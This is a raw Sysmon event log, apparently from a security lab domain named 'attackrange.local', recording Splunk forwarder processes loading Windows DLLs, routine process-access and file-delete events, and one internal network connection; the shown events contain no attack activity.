Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000053104Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000053103Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exeMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AECtrueSplunk, Inc.Valid 10341000x800000000000000053102Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053101Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053100Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053099Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053098Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000053097Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.614{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000053096Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.613{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000017041Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:17.413{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50333-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017040Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:18.677{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\surveyor-20210910141303-048MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017039Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:18.114{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C54E7D9232385C94420FDAFC1543FFD8,SHA256=E0F04A4D967369EDD8C6760B647F2D1A73B2F1378570E9C4679AE8CEB5ACA32B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053095Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.278{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=B436EA19E736E1AC96E7872A1F2779C1,SHA256=481358A52BE3D4BCF81924ABC3C4FE9915CE628BCCC1A8EFD6223EBC948CE309,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000053094Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.278{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=A330C8C977A5F250BB9C21DA670969DB,SHA256=B1AF35610EA1B0068CE8BE6719E78DEB3274A385C64289CC84CBA63B98FE8C2C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000053093Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.115{7BD73061-7379-613B-780B-00000000F001}59643128C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000053092Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.115{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000053091Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.115{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000053090Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.013{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D450982B50DDE76461AC32B4D9E7F220,SHA256=A739536D839D3AC407312E5945FD1E4C32B168458B9DC12FC19CF6EA5FC67A5E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000053252Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.910{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000053251Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.909{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000053250Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.908{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000053249Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.893{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000053248Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.893{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000053247Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.893{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000053246Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.893{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000053245Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.893{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000053244Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.893{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000053243Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.893{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000053242Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.893{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000053241Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.893{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000053240Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.893{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000053239Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.893{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000053238Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.893{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000053237Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.893{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000053236Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.893{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000053235Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.893{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000053234Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.893{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000053233Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.893{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000053232Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.877{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000053231Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.877{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000053230Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.877{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 